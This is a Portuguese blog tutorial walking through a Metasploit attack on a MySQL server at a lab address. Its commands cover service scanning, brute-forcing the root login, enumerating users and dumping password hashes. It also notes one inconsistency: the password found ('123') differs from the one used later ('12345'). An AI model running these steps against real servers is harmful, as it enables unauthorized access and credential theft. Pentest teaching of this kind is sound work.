Realizando Pentests em servidores MySQL com Metasploit Framework
O MySQL é um dos bancos de dados mais utilizados por seu desempenho e facilidade. Hoje vamos mostrar um estudo de caso no qual iremos realizar uma sequencia de testes de segurança no servidor MySQL afim de realizar uma intrusão enumerando os usuários e tentando logar com eles.
Analisando o servidor
matheus@fidelis:~$ sudo nmap -sS -sV 192.168.1.64Note que a porta 3306 está aberta e o Nmap identificou o serviço do MySQL rodando na mesma.
Você pode colocar o parâmetro -sV no Nmap para que ele tente identificar a versão do banco que está sendo executado, mas neste exemplo iremos realizar uma ferramenta do Metasploit para fazer esse levantamento.
# msfconsole
# msf > search mysql
Para confirmar a versão do MySQL vamos utilizar o módulo auxiliar mysql_version
msf > use auxiliary/scanner/mysql/mysql_version
Veja as opções do Scanner:
msf auxiliary(mysql_version) > show options
msf auxiliary(mysql_version) > set RHOSTS IP-DO-ALVO
msf auxiliary(mysql_version) > run
Em todo caso, pesquise o serviço e a versão que está correndo e procure por informações de vulnerabilidades e Bypass no Exploit Database
https://www.exploit-db.com/
Brute Force Login
Agora vamos explorar por meio de força bruta passwords fracos e usuários obvios.
Vamos tentar realizar a conexão testando o usuário root.
msf > use auxiliary/scanner/mysql/mysql_login
Agora vamos definir os parâmetros:
msf auxiliary(mysql_login) > show options
msf auxiliary(mysql_login) > set RHOSTS IP-DO-ALVO
msf auxiliary(mysql_login) > set RPORT PORTA-DO-ALVO // Altere o número da porta aqui, a Default do MySQL é a 3306
msf auxiliary(mysql_login) > set USERNAME USUARIO-A-SER-TESTADO
msf auxiliary(mysql_login) > set PASS_FILE /caminho/da/sua/passlist/
O Brute force identificou como positiva a senha 123 para o root. Conseguimos acesso ao banco de dados. Legal. Agora vamos supor que você precise testar mais de um usuário, que você tenha em maos uma lista de possíveis usuários para efetuar o ataque. Vamos repetir o mesmo exemplo, porém ao definir o parâmetro USERNAME iremos definir n parâmetro USER_FILE o caminho para a wordlist dos usuários para o ataque.
msf auxiliary(mysql_login) > set USER_FILE /caminho/da/sua/userlist/
msf auxiliary(mysql_login) > exploit
Testando mais de um usuário
msf auxiliary(mysql_login) > set USER_FILE /caminho/da/sua/userlist/
msf auxiliary(mysql_login) > exploit
Enumerando e fazendo o Dump das Databases
Depois que possuímos uma conta para efetuar o acesso ao banco, podemos agora fazer uso de mais 2 ferramentas enumerar outros usuários do banco e fazer o Dump das aplicações.
msf auxiliary(mysql_login) > use auxiliary/admin/mysql/mysql_enum
msf auxiliary(mysql_enum) > show options
Vamos efetuar a configuração o módulo:
msf auxiliary(mysql_enum) > set RHOST IP-DO-ALVO
msf auxiliary(mysql_enum) > set USERNAME root
msf auxiliary(mysql_enum) > set PASSWORD 12345
msf auxiliary(mysql_enum) > exploit
Fazendo o Hashdump do módulo
msf auxiliary(mysql_enum) > use auxiliary/scanner/mysql/mysql_hashdump
msf auxiliary(mysql_enum) > show options
msf auxiliary(mysql_hashdump) > set RHOSTS 192.168.1.64
msf auxiliary(mysql_hashdump) > set USERNAME root
msf auxiliary(mysql_hashdump) > set PASSWORD 12345
msf auxiliary(mysql_hashdump) > exploit
Acessando o banco de dados
Para acessa o banco você pode usar o Workbench ou qualquer SGBD da sua escolha, mas caso esteja em um pentest real, recomendo sempre usar a shell com proxy em ultimo caso.
matheus@fidelis:~$ mysql -h 192.168.1.64 -u root -p12345
Nenhum comentário